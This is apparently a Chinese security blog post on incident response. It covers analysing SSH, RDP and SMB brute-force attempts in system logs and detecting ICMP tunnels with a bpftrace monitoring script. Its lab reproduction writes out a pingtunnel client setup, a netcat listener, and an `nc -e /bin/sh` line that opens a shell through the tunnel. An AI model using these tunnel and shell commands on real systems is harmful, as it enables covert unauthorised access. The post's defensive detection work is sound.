找回密码
 立即注册
首页 业界区 安全 密码爆破日志分析与隧道流量检查

密码爆破日志分析与隧道流量检查

劝匠注 昨天 22:37
免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。
爆破日志分析

在应急响应时,为了了解和追查攻击者的攻击入口点和攻击意图,通常使用日志分析的方法,还原攻击方法获取攻击者指纹
其中爆破攻击是在内外网中最常见的一种攻击,尤其是内网横向移动
在分析日志时,需要做到:

  • 明确日志的具体路径
  • 明确日志中有哪些属性和判断依据
现在我通过Linux和Windows两种操作系统为例,分析爆破攻击的日志
Linux

系统日志通常是分析 /var/log 路径下面的日志
  1. 其中最为重要的是:
  2. /var/log/auth.log
  3. 或者
  4. /var/log/secure
复制代码
当然如果是第三方安装的程序,需要找对应的日志路径
Linux-ssh爆破

攻击复现

使用railgun破解工具对虚拟机进行ssh爆破
1.png

日志检查

查看 /var/log/secure 情况
2.png

查看错误日志登录
cat /var/log/secure|grep Failed
3.png

其中许多错误密码记录,并且时间间隔很近,可以判定为爆破事件
成功判断

观察是否登录成功:
cat /var/log/secure|grep Accepted
4.png

来源统计

统计登录失败的ip和次数
5.png

处置建议

有爆破成功登录的日志,后续需要紧急对该ip进行拉黑封堵
防止爆破建议安装 fail2ban 进行防御
Windows

Windows-RDP:

事件ID:4625/4624

  • 4624:登陆成功
  • 4625:登陆失败
登陆类型:2/3/5/10

  • 2 交互式登录(也称为“本地登录”)
  • 3 Network (网络)
  • 10 远程桌面(以前称为“终端服务”)
环境准备

虚拟机启动远程服务端口
控制面板-->搜索远程-->允许远程访问你的计算机-->允许应用,此时3389端口就启用了
6.png

关闭防火墙
7.png

审核配置

开启审核登录成功失败策略
  1. Win + R → secpol.msc
复制代码
点击
  1. 本地策略
  2. └── 审核策略
  3.       └── 审核登录事件
复制代码
修改(当然最好全部打开,为后面的实验准备)
8.png

日志位置

日志查看路径
日志查看方法有多种:

  • 直接访问
    文件夹C:\Windows\System32\winevt\Logs下的日志,一般重点看security.evtx、setup.evtx、system.evtx
    9.png

  • 使用事件管理器
    Win+R输入eventvwr-->windows日志-->安全
    接下来使用后面使用事件管理器为主
    10.png

攻击复现

同理使用工具爆破
11.png

日志分析

查看日志,看到大量失败日志,并且事件时间距离很近,判断为爆破事件
12.png

通过筛选和时间判断,登录是否成功
13.png

查看详细信息可以获取爆破的事件类型为网络登录
14.png

Windows-SMB:

事件ID:4625/4624
登陆类型:2/3/5/10
环境准备

在本地搭建开启smb服务
参考链接:https://zhuanlan.zhihu.com/p/879444178
策略也要改,不然没有日志
攻击复现

使用爆破工具
15.png

日志分析

同样
16.png

信息提取

从详细信息提取攻击者的信息和事件类型
17.png

除上述例子外还有FTP,Redis,MYSQL,STMP等协议爆破事件,有的是通过系统下载会直接存到系统日志,有些则是应用自带日志管理,需要灵活辨认
隧道流量分析

场景说明:内网或不出网的情况下,协议隧道技术很常见,那么如何定位到进程及攻击者?

  • 明确隧道最常使用的协议技术(socket,DNS,ICMP等等)
  • 明确Windows,Linux中分析技术
下面我以ICMP隧道为例子
ICMP实验

Linux-ICMP

Kail为客户端:192.168.41.128
18.png

Centos为服务端:192.168.41.144
19.png

工具准备

工具地址:pingtunnel
服务端启动

服务端启动
  1. ./request_monitor.sh ip
  2. ip可以是本机ip也可以是目标ip
复制代码
20.png

客户端启动

客户端启动
  1. sudo ./pingtunnel -type client -l :4445 -s 192.168.41.144 -t 127.0.0.1:4444 -tcp 1 -key 1234
复制代码
21.png

隧道说明

含义
  1. client连4445 → server → server本机4444
复制代码
连接测试

测试连接
服务端监听4444
  1. nc -lvvp 4444
复制代码
22.png

上线验证

客户端执行上线
  1. nc -e /bin/sh 127.0.0.1 4445
复制代码
23.png

以上看出已经连上了
本地检查

看看客户端本地能不能查看到外联情况
  1. netstat -anpt
复制代码
24.png

也是成功将隧道打通隐藏了
隧道检测

分析与发现icmp隧道:
request_monitor.sh
  1. #!/bin/bash
  2. convert_ip_to_integers() {
  3.   local ip=$1
  4.   IFS='.' read -r a b c d <<< "$ip"
  5.   be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
  6.   le_ip_int=$((d << 24 | c << 16 | b << 8 | a))
  7.   echo "$be_ip_int $le_ip_int"
  8. }
  9. IP="$1"
  10. if [ -z "$IP" ]; then
  11.   echo "用法: $0 <目标IP>"
  12.   exit 1
  13. fi
  14. read big_endian little_endian <<< "$(convert_ip_to_integers "$IP")"
  15. echo "Start listening for ICMP traffic related to $IP"
  16. echo ""
  17. sudo bpftrace ./request_monitor.bt "$big_endian" "$little_endian" | while IFS= read -r line; do
  18.   if [[ "$line" == EVENT* ]]; then
  19.     pid=$(echo "$line" | sed -n 's/.*pid=\([0-9]\+\).*/\1/p')
  20.     exe="N/A"
  21.     if [[ -n "$pid" && -e "/proc/$pid/exe" ]]; then
  22.       exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  23.       [[ -z "$exe" ]] && exe="N/A"
  24.     fi
  25.     echo "$line exe=$exe"
  26.   else
  27.     echo "$line"
  28.   fi
  29. done
复制代码
环境安装

安装:
  1. #!/usr/bin/env bpftrace
  2. /*
  3.   监听和指定 IP 相关的 ICMP 流量(双向)
  4.   参数:
  5.     $1 = 目标IP大端整数
  6.     $2 = 目标IP小端整数
  7. */
  8. kprobe:__dev_queue_xmit
  9. {
  10.     $skb = (struct sk_buff *)arg0;
  11.     if ($skb) {
  12.         $iph = (struct iphdr *)($skb->head + $skb->network_header);
  13.         if ($iph) {
  14.             if ($iph->protocol == 1) {
  15.                 if ($iph->daddr == $1 || $iph->daddr == $2 ||
  16.                     $iph->saddr == $1 || $iph->saddr == $2) {
  17.                     printf("EVENT send pid=%d tid=%d comm=%s src=%s dst=%s\n",
  18.                            pid, tid, comm,
  19.                            ntop(2, $iph->saddr),
  20.                            ntop(2, $iph->daddr));
  21.                 }
  22.             }
  23.         }
  24.     }
  25. }
  26. kprobe:netif_receive_skb
  27. {
  28.     $skb = (struct sk_buff *)arg0;
  29.     if ($skb) {
  30.         $iph = (struct iphdr *)($skb->head + $skb->network_header);
  31.         if ($iph) {
  32.             if ($iph->protocol == 1) {
  33.                 if ($iph->daddr == $1 || $iph->daddr == $2 ||
  34.                     $iph->saddr == $1 || $iph->saddr == $2) {
  35.                     printf("EVENT recv pid=%d tid=%d comm=%s src=%s dst=%s\n",
  36.                            pid, tid, comm,
  37.                            ntop(2, $iph->saddr),
  38.                            ntop(2, $iph->daddr));
  39.                 }
  40.             }
  41.         }
  42.     }
  43. }
复制代码
启动监听

启动监听
  1. sudo apt update
  2. sudo apt install bpftrace
  3. chmod +x request_monitor.sh
  4. chmod +x request_monitor.bt
复制代码
客户机ip(受害机)
25.png

成功获取到本地icmp连接的端口以及程序进程和路径
处置建议

后面就是对ip进行处置封锁
Windows-ICMP

服务端kail:192.168.42.130
26.png

客户端win10:192.168.42.133
27.png

实验环境

实验工具:pingtunnel
服务端启动
  1. ./request_monitor.sh ip
  2. ip可以是本机ip也可以是目标ip
复制代码
28.png

客户端启动
  1. sudo ./pingtunnel -type server -key 1234
复制代码
29.png

流量分析

分析icmp流量:Microsoft Message Analyzer
下载:Microsoft Message Analyzer
进程定位

以管理员身份运行
30.png

点击Start Local Trace找到icmp流量
31.png

选中一条,打开details4,如图
32.png

点击详细信息,如图
33.png

就可以准查到进程命令了
34.png

补充说明

由于Microsoft Message Analyzer现在已经停止更新了,所以有些系统无法使用,也可以通过wireshark对流量进行分析
处置
封IP及防火墙限制协议

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册